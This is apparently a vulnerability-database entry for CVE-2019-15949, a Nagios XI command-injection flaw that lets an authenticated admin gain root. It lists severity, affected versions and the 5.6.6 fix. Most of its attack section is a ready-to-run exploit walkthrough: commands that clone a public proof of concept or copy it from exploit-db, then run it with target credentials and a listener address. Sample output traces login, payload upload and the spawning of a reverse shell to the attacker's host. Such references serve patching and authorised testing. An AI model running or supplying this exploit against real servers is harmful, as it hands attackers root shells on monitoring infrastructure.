# CVE-2019-15949 - Nagios XI RCE

- **URL:** https://hackindex.io/vulnerabilities/CVE-2019-15949
- **CVE:** CVE-2019-15949
- **GHSA:** GHSA-8qv6-943v-r8gm
- **CVSS score:** 8.8
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **Type:** CWE-78
- **Authentication:** Single
- **Complexity:** Low
- **Privileges:** Low
- **Affected versions:** <= 5.6.5
- **Patched versions:** >5.6.5
- **Published:** 2026-02-25
- **Updated:** 2026-02-26

CVE-2019-15949 is a vulnerability in **Nagios XI before 5.6.6** where an attacker who already has access as the local `nagios` user, or an authenticated XI admin with plugin-modification rights, can abuse the system-profile download workflow so a root-run script ends up executing attacker-controlled plugin code. NVD published it on **September 5, 2019**, and it was fixed by upgrading to **Nagios XI 5.6.6**. If exploited, it can lead to **command execution as root**, effectively giving an attacker full control of the affected server.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Remote code execution

**[jakgibb/nagiosxi-root-rce-exploit](https://github.com/jakgibb/nagiosxi-root-rce-exploit)** - POC which exploits a vulnerability within Nagios XI (5.6.5) to spawn a root shell

```bash
git clone https://github.com/jakgibb/nagiosxi-root-rce-exploit.git
cd nagiosxi-root-rce-exploit

# or on Kali:
cp /usr/share/exploitdb/exploits/php/webapps/47299.php ./exploit.php       

php exploit.php  --host=$TARGET_IP --ssl=false --user=$USER_NAME --pass=$USER_PASS --reverseip=$LHOST --reverseport=$LPORT
# [+] Grabbing NSP from: http://$TARGET_IP/nagiosxi/login.php
# [+] Retrieved page contents from: http://$TARGET_IP/nagiosxi/login.php
# [+] Extracted NSP - value: 860a6ac6e3d387f1507d5f8a4098bc16882b7d8301421e232c84d2ce71a58d63
# [+] Attempting to login...
# [+] Authentication success
# [+] Checking we have admin rights...
# [+] Admin access confirmed
# [+] Grabbing NSP from: http://$TARGET_IP/nagiosxi/admin/monitoringplugins.php
# [+] Retrieved page contents from: http://$TARGET_IP/nagiosxi/admin/monitoringplugins.php
# [+] Extracted NSP - value: c65b6ad42a10598ff4646244d75334a7bb4c90c3539d2a4155903d4f2bebd7c1
# [+] Uploading payload...
# [+] Payload uploaded
# [+] Triggering payload: if successful, a reverse shell will spawn at $LHOST:$LPORT
```